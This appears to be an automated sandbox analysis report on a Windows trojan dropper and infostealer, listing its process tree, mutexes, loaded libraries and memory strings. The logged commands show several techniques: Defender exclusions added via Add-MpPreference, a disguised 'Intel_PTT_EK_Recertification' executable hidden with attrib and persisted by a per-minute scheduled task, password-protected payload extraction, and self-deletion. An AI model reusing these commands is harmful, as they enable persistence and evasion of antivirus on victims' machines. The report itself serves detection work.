Source: 09c0b8253b.exe, 0000002C.00000003.3219199731.0000000005218000.00000004.00001000.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3230524699.0000000000A29000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: .a_po^ ojYd.o B U.R G v.Q_F& ZNH K.9.sV`OQ qOq_A( N5.j P.X z.k.Yf_HL.P.L`.C Ue_q_B_t.h{_yr\=A f.3_q_Fvb_H_bm W.UP#.by_iY.Yw I.Y_G p.3c g.Zy S v.U.N C_m Z_i.H_j B l_DH_Pd.iz_O.f~ U z_Mv_d7 T Mz.f.594/}_m kS.v.D u.rZu.S G.N_x.V J.Q.G FO^.X<.6_fv.V ny.L,_E.2.m I_l.b$ Mx sZ.K! p.Y.U.V:U.89 R_H F3.d_R A UQ.C_y y Y Jb.Q_S.N.s< l_Ab~[_w9zV?!C9.N_HQ)*_n R.tP Ww_u aU;.V EPk Xr.Q0.y.A!]_b!7 g.R_pF.E_b o.o.q.o_E.T_rdfw.c}_ck.4.Y_w:_P.B(#`_xy_i.3_Y.A_N.q.6.YE_S_T.R H n.R_d_F.V.s_R68).I aL q.H b.W.Q!.r b_w c c$_va.X_v.tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_C_Q.e J q7E V P.LP_Q.kTN_c.F.D gc.hT_s_Q1
Source: 09c0b8253b.exe, 0000002C.00000003.3219199731.0000000005218000.00000004.00001000.00020000.00000000.sdmp, 09c0b8253b.exe, 0000002C.00000003.3230524699.0000000000A29000.00000040.00000001.01000000.00000015.sdmp	Binary or memory string: .tRm l.sln_D c! C.7_F m M_j6 zr.w F i}%_N.RB A7_wG_m.4_A#&.G mCx.Q_s N pTS.n.e C.4_v_

Source: classification engine

Classification label: mal100.troj.spyw.evad.mine.winEXE@75/53@10/9

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_00409606 wvsprintfW,GetLastError,FormatMessageW,FormatMessageW,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,??2@YAPAXI@Z,lstrcpyW,lstrcpyW,lstrcpyW,??3@YAXPAX@Z,LocalFree,

7_2_00409606

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A3AC74 GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,CloseHandle,		11_2_00A3AC74
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 11_2_00A41D04 GetCurrentProcess,CloseHandle,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,CloseHandle,GetLastError,CloseHandle,		11_2_00A41D04

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_0040122A GetDiskFreeSpaceExW,SendMessageW,

7_2_0040122A

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_004092C1 GetDlgItem,GetDlgItem,SendMessageW,GetDlgItem,GetWindowLongW,GetDlgItem,SetWindowLongW,GetSystemMenu,EnableMenuItem,GetDlgItem,SetFocus,SetTimer,CoCreateInstance,GetDlgItem,IsWindow,GetDlgItem,EnableWindow,GetDlgItem,ShowWindow,

7_2_004092C1

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Code function: 7_2_004020BF GetModuleHandleW,FindResourceExA,FindResourceExA,FindResourceExA,SizeofResource,LoadResource,LockResource,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,wsprintfW,LoadLibraryA,GetProcAddress,

7_2_004020BF

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5284:120:WilError_03
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4112:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3504:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-41f5ca1f-12f2-e123ed-b12badd5efaa}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6252:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4368:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6388:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	Mutant created: \Sessions\1\BaseNamedObjects\My_mutex
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4824:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2304:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6612:120:WilError_03

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Temp\abc3bc1985

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"

Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: fe64902db3.exe, 00000023.00000003.2999508456.000000000559A000.00000004.00000800.00020000.00000000.sdmp, fe64902db3.exe, 00000023.00000003.2999204071.00000000055B5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe

Virustotal: Detection: 56%

Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: skotes.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe "C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe"
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE
Source: C:\Windows\System32\attrib.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe "C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe "C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe "C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe"
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5864 -s 668
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe "C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe"
Source: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe "C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe "C:\Users\user\AppData\Local\Temp\1017254001\fe64902db3.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe "C:\Users\user\AppData\Local\Temp\1017255001\ed0fb10817.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe "C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe "C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe "C:\Users\user\AppData\Local\Temp\1017258001\c9ea911eaa.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p24291711423417250691697322505 -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_3.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_2.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_1.zip -oextracted	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +H "in.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\in.exe "in.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H +S C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\attrib.exe attrib +H C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.1.10.1
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\jcyhknhe"
Source: C:\Users\user\AppData\Local\Temp\1017256001\1c5200ac19.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" Add-MpPreference -ExclusionPath "C:\ProgramData"
Source: C:\Users\user\AppData\Local\Temp\1017257001\09c0b8253b.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1017253001\a5bb0fe977.exe	Section loaded: propsys.dll	Jump to behavior
